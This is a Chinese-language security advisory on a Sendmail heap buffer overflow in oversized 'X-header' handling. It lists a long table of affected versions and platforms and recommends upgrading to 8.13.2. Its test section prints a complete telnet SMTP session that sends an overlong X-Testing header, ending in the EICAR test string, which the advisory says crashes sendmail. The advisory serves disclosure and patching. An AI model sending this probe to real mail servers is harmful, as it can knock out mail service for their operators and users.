漏洞起因
边界条件错误
影响系统
Sendmail Consortium Sendmail for NT 3.0.3
Sendmail Consortium Sendmail for NT 3.0.2
Sendmail Consortium Sendmail for NT 3.0.1
Sendmail Consortium Sendmail for NT 3.0
Sendmail Consortium Sendmail for NT 2.6.2
Sendmail Consortium Sendmail for NT 2.6.1
Sendmail Consortium Sendmail for NT 2.6
Sendmail Consortium Sendmail 8.13.1
Sendmail Consortium Sendmail 8.12.11
Sendmail Consortium Sendmail 8.12.10
+ Slackware Linux 9.0
+ Slackware Linux 8.1
+ Slackware Linux 8.1
+ Slackware Linux -current
+ Slackware Linux -current
+ Sun Solaris 9_x86
+ Sun Solaris 9
+ Sun Solaris 8_x86
+ Sun Solaris 8
+ Sun Solaris 7.0_x86
+ Sun Solaris 7.0
Sendmail Consortium Sendmail 8.12.9
+ Slackware Linux 9.0
+ Slackware Linux 8.1
+ Slackware Linux -current
Sendmail Consortium Sendmail 8.12.8
+ RedHat Linux 9.0 i386
+ RedHat Linux 8.0 i386
+ Yellow Dog Linux 3.0
Sendmail Consortium Sendmail 8.12.7
+ OpenPKG OpenPKG 1.2
+ Slackware Linux 8.1
+ SOTLinux SOTLinux 2003 Desktop
+ SOTLinux SOTLinux 2003 Server
Sendmail Consortium Sendmail 8.12.6
+ Apple Mac OS X 10.2.4
+ Conectiva Linux Enterprise Edition 1.0
+ FreeBSD FreeBSD 5.0
+ FreeBSD FreeBSD 4.7
+ MandrakeSoft Corporate Server 2.1
+ MandrakeSoft Linux Mandrake 9.0
+ OpenBSD OpenBSD 3.2
+ S.u.S.E. Linux 8.1
Sendmail Consortium Sendmail 8.12.5
+ Conectiva Linux 9.0
+ OpenBSD OpenBSD 3.2
Sendmail Consortium Sendmail 8.12.4
+ OpenBSD OpenBSD 3.2
+ Slackware Linux 8.1
+ Slackware Linux -current
Sendmail Consortium Sendmail 8.12.3
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
+ FreeBSD FreeBSD 4.6
+ S.u.S.E. Linux 8.0 i386
+ S.u.S.E. Linux 8.0
Sendmail Consortium Sendmail 8.12.2
+ Apple Mac OS X 10.2.3
+ Apple Mac OS X 10.2.2
+ Apple Mac OS X 10.2.1
+ Apple Mac OS X 10.2
+ Apple Mac OS X Server 10.2.3
+ Apple Mac OS X Server 10.2.2
+ Apple Mac OS X Server 10.2.1
+ Apple Mac OS X Server 10.2
+ OpenBSD OpenBSD 3.1
Sendmail Consortium Sendmail 8.12.1
+ HP MPE/iX 7.5
+ HP MPE/iX 7.0
+ MandrakeSoft Linux Mandrake 8.2 ppc
+ MandrakeSoft Linux Mandrake 8.2
Sendmail Consortium Sendmail 8.12.1
+ HP MPE/iX 7.5
+ HP MPE/iX 7.0
+ MandrakeSoft Linux Mandrake 8.2 ppc
+ MandrakeSoft Linux Mandrake 8.2
Sendmail Consortium Sendmail 8.12 beta7
Sendmail Consortium Sendmail 8.12 beta5
Sendmail Consortium Sendmail 8.12 beta16
Sendmail Consortium Sendmail 8.12 beta12
Sendmail Consortium Sendmail 8.12 beta10
Sendmail Consortium Sendmail 8.12 .0
Sendmail Consortium Sendmail 8.11.7
Sendmail Consortium Sendmail 8.11.6
+ Caldera OpenLinux Server 3.1.1
+ Caldera OpenLinux Server 3.1
+ Caldera OpenLinux Workstation 3.1.1
+ Caldera OpenLinux Workstation 3.1
+ Conectiva Linux 8.0
+ Conectiva Linux 7.0
+ Conectiva Linux 6.0
+ FreeBSD FreeBSD 4.5 -RELEASE
+ FreeBSD FreeBSD 4.5
+ FreeBSD FreeBSD 4.4
+ Immunix Immunix OS 7.0
+ MandrakeSoft Linux Mandrake 8.1 ia64
+ MandrakeSoft Linux Mandrake 8.1
+ MandrakeSoft Linux Mandrake 8.0 ppc
+ MandrakeSoft Linux Mandrake 8.0
+ RedHat Linux 7.3 i386
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 i386
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.0 i386
+ RedHat Linux 6.2 i386
+ S.u.S.E. Linux 7.3 sparc
+ S.u.S.E. Linux 7.3 ppc
+ S.u.S.E. Linux 7.3 i386
+ S.u.S.E. Linux 7.3
+ Sun Cobalt RaQ 550
+ Sun Linux 5.0.3
+ Sun Linux 5.0
Sendmail Consortium Sendmail 8.11.5
Sendmail Consortium Sendmail 8.11.4
+ Conectiva Linux 7.0
- Slackware Linux 8.0
Sendmail Consortium Sendmail 8.11.3
- MandrakeSoft Corporate Server 1.0.1
- MandrakeSoft Linux Mandrake 8.0
+ S.u.S.E. Linux 7.2 i386
+ S.u.S.E. Linux 7.2
- Slackware Linux 7.1
Sendmail Consortium Sendmail 8.11.2
+ RedHat Linux 7.1 ia64
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.1 alpha
+ RedHat Linux 7.1
+ S.u.S.E. Linux 7.1 x86
+ S.u.S.E. Linux 7.1 sparc
+ S.u.S.E. Linux 7.1 ppc
+ S.u.S.E. Linux 7.1 alpha
+ S.u.S.E. Linux 7.1
Sendmail Consortium Sendmail 8.11.1
+ Caldera OpenLinux Server 3.1
+ Caldera OpenLinux Workstation 3.1
+ Conectiva Linux 6.0
Sendmail Consortium Sendmail 8.11
+ Compaq Tru64 5.1 b
+ Compaq Tru64 5.1 a
+ Compaq Tru64 5.1
+ IBM AIX 5.2
+ IBM AIX 5.1
- MandrakeSoft Linux Mandrake 7.2
+ RedHat Linux 7.0 sparc
+ RedHat Linux 7.0 i386
+ RedHat Linux 7.0 alpha
+ RedHat Linux 7.0
- S.u.S.E. Linux 7.0 sparc
- S.u.S.E. Linux 7.0 ppc
- S.u.S.E. Linux 7.0 alpha
- S.u.S.E. Linux 7.0
+ SCO Open Server 5.0.6 a
+ SCO Open Server 5.0.6
+ SCO Open Server 5.0.5
+ SCO Open Server 5.0.4
Sendmail Consortium Sendmail 8.10.2
+ Sun Cobalt Qube3 4000WG
+ Sun Cobalt RaQ 4
+ Sun Cobalt RaQ XTR
+ Sun Cobalt RaQ XTR 3500R
+ Sun Cobalt RaQ4 3001R
Sendmail Consortium Sendmail 8.10.1
Sendmail Consortium Sendmail 8.10
Sendmail Consortium Sendmail 8.9.3
+ Compaq Tru64 5.1 PK5 (BL19)
+ Compaq Tru64 5.0 a PK3 (BL17)
+ Debian Linux 2.2 sparc
+ Debian Linux 2.2 powerpc
+ Debian Linux 2.2 IA-32
+ Debian Linux 2.2 arm
+ Debian Linux 2.2 alpha
+ Debian Linux 2.2 68k
+ Debian Linux 2.2
+ IBM AIX 4.3.3
+ SGI IRIX 6.5.19
+ SGI IRIX 6.5.18 m
+ SGI IRIX 6.5.18 f
+ SGI IRIX 6.5.17 m
+ SGI IRIX 6.5.17 f
+ SGI IRIX 6.5.16 m
+ SGI IRIX 6.5.16 f
+ SGI IRIX 6.5.15 m
+ SGI IRIX 6.5.15 f
+ SGI IRIX 6.5.14 m
+ SGI IRIX 6.5.14 f
+ SGI IRIX 6.5.13 m
+ SGI IRIX 6.5.13 f
+ SGI IRIX 6.5.12 m
+ SGI IRIX 6.5.12 f
+ SGI IRIX 6.5.11 m
+ SGI IRIX 6.5.11 f
+ SGI IRIX 6.5.10 m
+ SGI IRIX 6.5.10 f
+ SGI IRIX 6.5.9 m
+ SGI IRIX 6.5.9 f
+ SGI IRIX 6.5.8 m
+ SGI IRIX 6.5.8 f
+ SGI IRIX 6.5.7 m
+ SGI IRIX 6.5.7 f
Sendmail Consortium Sendmail 8.9.2
Sendmail Consortium Sendmail 8.9.1
Sendmail Consortium Sendmail 8.9 .0
Sendmail Consortium Sendmail 8.8.8
+ Compaq Tru64 4.0 g PK3 (BL17)
+ Compaq Tru64 4.0 f PK7 (BL18)
+ SGI IRIX 6.5.6
+ SGI IRIX 6.5.5
+ SGI IRIX 6.5.4
+ SGI IRIX 6.5.3
+ SGI IRIX 6.5.2
+ SGI IRIX 6.5.1
+ SGI IRIX 6.5
Sendmail Consortium Sendmail 5.65
Sendmail Consortium Sendmail 5.61
Sendmail Consortium Sendmail 5.59
Sendmail Consortium Sendmail 4.55
Sendmail Consortium Sendmail 4.1
不受影响系统
Sendmail Consortium Sendmail 8.13.2
危害
远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击,或可能执行任意代码。
攻击所需条件
攻击者必须访问Sendmail。
漏洞信息
Sendmail是一款开放源代码的邮件传输代理。
Sendmail处理’X-header’存在堆缓冲区溢出,远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击,或可能执行任意代码。
处理包含超大X-Heade的邮件时可导致sendmail崩溃,造成拒绝服务攻击。
测试方法
$ telnet example.com 25
Trying …
Connected to example.com.
Escape character is ‘^]’.
220 example.com ESMTP Sendmail 8.12.10/8.12.10; Fri, 3 Dec 2004 12:00:59 -06
00
mail from:example@example.org
250 2.1.0 example@example.org… Sender ok
rcpt to:example@example.com
250 2.1.5 example@example.com… Recipient ok
data
354 Enter mail, end with "." on a line by itself
X-Testing: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
IIIIIIIIIIIIIIIJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ123456AAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBB
BBX5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
.
250 2.0.0 iB3I0xxp005530 Message accepted for delivery
厂商解决方案
升级到Sendmail 8.13.2版本:
http://www.sendmail.org/releases/8.13.2
漏洞提供者
Simple Nomad
